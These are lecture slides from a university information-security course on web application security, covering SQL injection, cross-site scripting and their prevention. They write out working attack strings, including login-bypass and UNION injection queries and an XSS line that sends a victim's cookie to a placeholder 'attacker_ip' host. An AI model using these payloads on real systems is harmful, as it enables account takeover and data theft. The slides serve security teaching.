SEC511 Principles of Information Assurance and Security Lecture 8 Web Application Security

1. King Fahd University of Petroleum & Minerals College of Computer Science & Engineering SEC511 Principles of Information Assurance and Security Lecture 8 Web Application Security These slides are based on: Chapters: 1, 9, and 12, The Web Application Hacker’s Handbook, Stuttard and Pinto OWASP Website

2. Just Few Years Back • The World Wide Web consisted only of web sites • Essentially information repositories containing static documents. • The flow of interesting information was one-way, from server to browser. • Security threats were related largely to vulnerabilities in web server software. • If an attacker compromised a web server, he usually would not gain access to any sensitive information: • The information held on the server was already open to public view.

3. Today • Today the majority of sites on the web are in fact applications. • They are highly functional and rely on two-way flow of information between the server and browser. • The content presented to users is generated dynamically on the fly and is often tailored to each specific user. • Much of the information processed is private and highly sensitive. • Security, therefore, is a big issue.

4. The Ubiquitous Web • Web applications have been created to perform practically every useful function you could possibly implement online: • Shopping (Amazon) • Social networking (Facebook) • Banking (Citibank) • Web search (Google) • Auctions (eBay) • Gambling (Betfair) • Web logs (Blogger) • Web mail (Gmail) • Interactive information (Wikipedia)

5. Sensitive Data • Many of these provide access to highly sensitive data and functionality: • HR applications allowing users to access payroll information, manage recruitment and disciplinary procedures. • Administrative interfaces to key infrastructure such as web and mail servers • Collaboration software used for sharing documents • Business applications such as enterprise resource planning (ERP) software • Software services such as e-mail. • Traditional desktop office applications such as word processors and spreadsheets (Google Apps, Microsoft Office Live).

6. The Web .. The Only .. “The time is fast approaching when the only client software that most computer users will need is a web browser” Why web applications have enjoyed such a dramatic rise?

7. Why the Web is .. The future .. • HTTP, the core communications protocol used to access the WWW, is lightweight and connectionless • Every web user already has a browser installed on his computer and mobile device: • No need to distribute and manage separate client software • Changes to the interface need to be implemented only once, on the server, and take effect immediately. • The core technologies and languages used to develop web applications are relatively simple: • http, • javascript, • etc.

8. Web and Security • The majority of web applications are insecure, despite the widespread usage of SSL technology.

9. Why this In-Security • Users can submit arbitrary input to the server-side application. • Users can interfere with any piece of data transmitted between the client and the server (HTTP interceptor, proxies, etc.) • Users can send requests in any sequence • Users can submit parameters: • at a different stage than the application expects, • more than once, or • not at all. • Users are not restricted to using only a web browser to access the application: • Other tools can make requests that no browser would ordinarily make and can generate huge numbers of requests quickly to find and exploit problems.

10. SSL .. is not enough • SSL does not stop attacks that directly target the server or client components of an application. • SSL does nothing to stop an attacker from submitting crafted input to the server. • If the application uses SSL, this simply means that other users on the network cannot view or modify the attacker’s data in transit. • The attacker controls the other end of SSL tunnel, she can send anything she likes to the server through this tunnel.

11. Contributing Factors • Factor 1: Deceptive Simplicity • Most web applications are developed in-house by an organization’s own staff or third-party contractors. • It is possible for a novice programmer to create a powerful application from scratch in a short period of time. • But there is a huge difference between producing code that is functional and code that is secure. • The use of ready-made code components: authentication, page templates, message boards, etc. • Factor 2: Resource and time constraints • The need to produce a functional application by a deadline normally overrides less tangible security considerations. • Factor 3: Lack of Awarness • Awareness of web application security issues remains less well-developed than in longer-established areas such as networks and operating systems.

12. The New Security Perimeter • The effect of widespread deployment of web applications is that the security perimeter of a typical organization has moved. • Part of that perimeter is still embodied in firewalls and bastion hosts. • But a significant part of it is now occupied by the organization’s web applications. • Defenses against these attacks must be implemented within the applications themselves: • A single line of defective code in a single web application can render an organization’s internal systems vulnerable.

13. SQL Injection • SQL injection is a code injection technique that exploits a security vulnerability in a website's software. • Used to attack the security of a website by inputting SQL statements in a web form to get a poorly designed website to perform operations on the database. • A successful SQL injection exploit can: • read sensitive data from the database, • modify database data (Insert/Update/Delete), • execute administration operations on the database (such as shutdown the DBMS), • recover the content of a given file present on the DBMS file system • issue commands to the operating system.

14. Basic Attack: Bypassing a Login • Many applications use a database to store user credentials and perform a simple SQL query such as: SELECT * FROM users WHERE username = ‘marcus’ and password = ‘secret’ • If a user’s details are returned to the application, the login attempt is successful, and the application creates an authenticated session for that user. • If an attacker knows that the username of the application administrator is admin, he can log in as that user by supplying any password and the following username: admin’-- • This causes the application to perform the following query: SELECT * FROM users WHERE username = ‘admin’--’ AND password = ‘foo’ • Which is equivalent to: SELECT * FROM users WHERE username = ‘admin’

15. Basic Attack: Bypassing a Login • Suppose that the attacker does not know the administrator’s username. • Typically, the first account in the database is an administrative user, because this account normally is created manually. • An attacker can log in as the first user in the database by supplying the username: ‘ OR 1=1-- • This causes the application to perform the query: SELECT * FROM users WHERE username = ‘’ OR 1=1--’ AND password = ‘foo’ • Which is equivalent to: SELECT * FROM users WHERE username = ‘’ OR 1=1

16. SQL Injection: not necessarily through forms

17. SQL Injection • SQL Injection is one of the most notorious vulnerabilities to have afflicted web applications. • SQL injection can enable an anonymous attacker to read and modify all data stored within the database, and even take full control of the server on which the database is running. • As awareness of web application security has evolved, methods for finding and exploiting SQL injection flaws have evolved, using more subtle indicators of vulnerabilities. • Although the fundamentals of SQL injection are common, there are syntax differences between the three most common database types: • Oracle, MS-SQL, and MySQL

18. The UNION Operator • The UNION operator is used in SQL to combine the results of two or more SELECT statements into a single result set. • An attacker can employ the UNION operator to perform a second, entirely separate query, and combine its results with those of the first. SELECT author,title,year FROM books WHERE publisher = ‘Wiley’ • The attacker can enter the following as a publisher: Wiley’ UNION SELECT username,password,uid FROM users— • Resulting in the following query: SELECT author,title,year FROM books WHERE publisher = ‘Wiley’ UNION SELECT username,password,uid FROM users--’

19. The UNION Operator • The result of the first query. SELECT author,title,year FROM books WHERE publisher = ‘Wiley’ Might be: • While the result of the compromised query SELECT author,title,year FROM books WHERE publisher = ‘Wiley’ UNION SELECT username,password,uid FROM users--’ Might be:

20. The UNION Operator • There are two important requirements about UNION queries: • The results of the two queries must contain the same number of columns, which have the same or compatible data types, appearing in the same order. • The attacker needs to know the name of the database table that he wants to target, and the names of its relevant columns. • For the first problem, you can exploit the fact that NULL can be converted to any data type to systematically inject queries with different numbers of columns until your injected query is executed: • ‘ UNION SELECT NULL-- • ‘ UNION SELECT NULL, NULL-- • ‘ UNION SELECT NULL, NULL, NULL--

21. Blind SQL-Injection • This advanced technique is based on the concept of using an injected query to conditionally trigger some detectable behavior by the database and then inferring a required item of information.

22. Preventing SQL Injection • Despite all its different manifestations, and the complexities that can arise in its exploitation, SQL injection is in general one of the easier vulnerabilities to prevent. • A common approach to preventing attacks is to escape any single quotation marks within user input by doubling them. • This approach fails in at least two situations: • If numeric user-supplied data is being embedded into SQL queries • In second-order SQL injection attacks.

23. Vulnerable Query Manipulation • The user-supplied name parameter is embedded directly into a SQL statement

24. Secure Query Manipulation • The prepareStatement method is invoked to fix the structure of the query that is to be executed. • Only then is the setString method used to specify the parameter’s actual value. • Because the query’s structure has already been fixed, this value can contain any data without affecting the structure.

25. SQL Injection Protection

26. Top 10 Web Application Risks

27. Top 10 Web Application Risks

28. Your Code is Part of Your Security Perimeter Your security “perimeter” has huge holes at the application layer Application Layer Databases Legacy Systems Web Services Directories Human Resrcs Billing Custom Developed Application Code APPLICATIONATTACK App Server Web Server Network Layer Hardened OS Firewall Firewall You can’t use network layer protection (firewall, SSL, IDS, hardening) to stop or detect application layer attacks

29. Cross-Site Scripting (XSS) • Cross-site scripting (XSS) is a type of computer insecurity vulnerability that enables attackers to inject client-side script into Web pages viewed by other users. • Their effect may range from a petty nuisance to a significant security risk. • Cross-site scripting carried out on websites accounted for roughly 80.5% of all security vulnerabilities documented by Symantec as of 2007. • In recent years, cross-site scripting flaws surpassed buffer overflows to become the most common publicly-reported security vulnerability, with some researchers in 2007 viewing as many as 68% of websites as likely open to XSS attacks

30. Cross-Site Scripting • There are two main types of Cross-Site Scripting: • Non-persistent (or reflected) XSS • Persistent (or stored) XSS

31. Non-Persistent XSS .. sami 123456 HTTP(S)

32. Non-Persistent XSS .. Create Session Create Cookie sami 123456 HTTP(S) Set-Cookie: tracking=tI8rk7joMx44S2Uu85nSWc

33. Non-Persistent XSS .. Cookie: tracking=tI8rk7joMx44S2Uu85nSWc HTTP(S)

34. Same Origin Policy .. HTTP(S) <script> …. </script> HTTP(S) <script> …. </script>

35. Same Origin Policy .. HTTP(S) <script> …. </script> HTTP(S) <script> …. </script>

36. Same Origin Policy .. HTTP(S) <script> …. </script> HTTP(S) <script> …. </script> The XSS Vulnerability

37. Non-Persistent XSS .. http://wackopicko/...?query=<script> … </script> HTTP(S) <script> … </script> XSS Vulnerable http://wackopicko.com/...?query=<script> … </script>

38. Non-Persistent XSS .. HTTP(S) XSS Vulnerable var i=new Image; i.src=”http://attacker_ip/”+document.cookie;

39. Non-Persistent XSS .. HTTP(S) XSS Vulnerable Remote Program Execution

40. Persistent (Stored) XSS • The persistent (or stored) XSS vulnerability is a more devastating variant of a cross-site scripting flaw. • It occurs when the data provided by the attacker is saved by the server, and then permanently displayed on "normal" pages returned to other users in the course of regular browsing, without proper HTML escaping. • A classic example of this is with online message boards where users are allowed to post HTML formatted messages for other users to read.

41. Persistent XSS Attack Scenario • Mallory posts a message with malicious payload to a social network. • When Bob reads the message, Mallory's XSS steals Bob's cookie. • Mallory can now hijack Bob's session and impersonate Bob.

42. Reflected Vs Stored XSS • Reflected and stored XSS have two important differences in the attack process. • Difference 1: • In the case of reflected XSS, to exploit a vulnerability, the attacker must induce victims to visit his crafted URL. • In the case of stored XSS, this requirement is avoided: Having deployed his attack within the application, the attacker simply needs to wait for victims to browse to the page or function that has been compromised.

43. Reflected Vs Stored XSS • Difference 2: • The attacker’s objectives in exploiting an XSS bug are usually achieved much more easily if the victim is using the application at the time of the attack. • In a reflected XSS attack, the attacker may try to engineer this situation by persuading the user to log in and then click a link that he supplies. • In a stored XSS attack, it is usually guaranteed that victim users will already be accessing the application at the time the attack strikes • These differences between reflected and stored XSS mean that stored XSS flaws are often critical to an application’s security.

44. Cross-Site Scripting (XSS) Consequences • The most severe XSS attacks involve disclosure of the user’s session cookie, allowing an attacker to hijack the user’s session and take over the account. • Other damaging attacks include: • the disclosure of end user files, • installation of Trojan horse programs, • redirect the user to some other page or site, or • modify presentation of content. • An XSS vulnerability allowing an attacker to modify a press release or news item could affect a company’s stock price or lessen consumer confidence. • An XSS vulnerability on a pharmaceutical site could allow an attacker to modify dosage information resulting in an overdose.

45. Cross-Site Scripting (XSS) Consequences

46. Finding XSS Vulnerabilities • A basic approach to identifying XSS vulnerabilities is to use a standard proof-of-concept attack string such as the following: “><script>alert(document.cookie)</script> • This string is submitted as every parameter to every page of the application. • Responses are monitored for the appearance of this same string. • If the attack string appears unmodified within the response, the application is almost certainly vulnerable to XSS

47. Probing Defensive Filters • Very often, the server blocks/modifies your attempted exploits in some way. • Your task is to determine what filter is catching your attack. • There are three broad possibilities: • The application has identified an attack signature and has blocked your input. • The application has accepted your input but has performed some kind of sanitization or encoding on the attack string. • The application has truncated your attack string to a fixed maximum length.

48. Preventing XSS Attacks • The root cause of XSS is that user-controllable data is copied into application responses without adequate validation and sanitization. • The user-input can then interfere with the target page, modifying not only its content but also its structure. • To eliminate XSS vulnerabilities, the first step is to identify every instance within the application where user-controllable data is being copied into responses. • Then apply a three-fold approach: • Validate input. • Validate output. • Eliminate dangerous insertion points.

49. XSS Protection • https://www.owasp.org/index.php/Abridged_XSS_Prevention_Cheat_Sheet • Safely validate HTML input • Securing cookies: • Matching cookies with IP addresses • HTTPonly: make the cookie unavailable for client-side scripts • Disabling scripts

50. The end Reading: Stuttard, Chapters 1, 9, 12. OWASP Website, XSS Prevention Cheat Sheet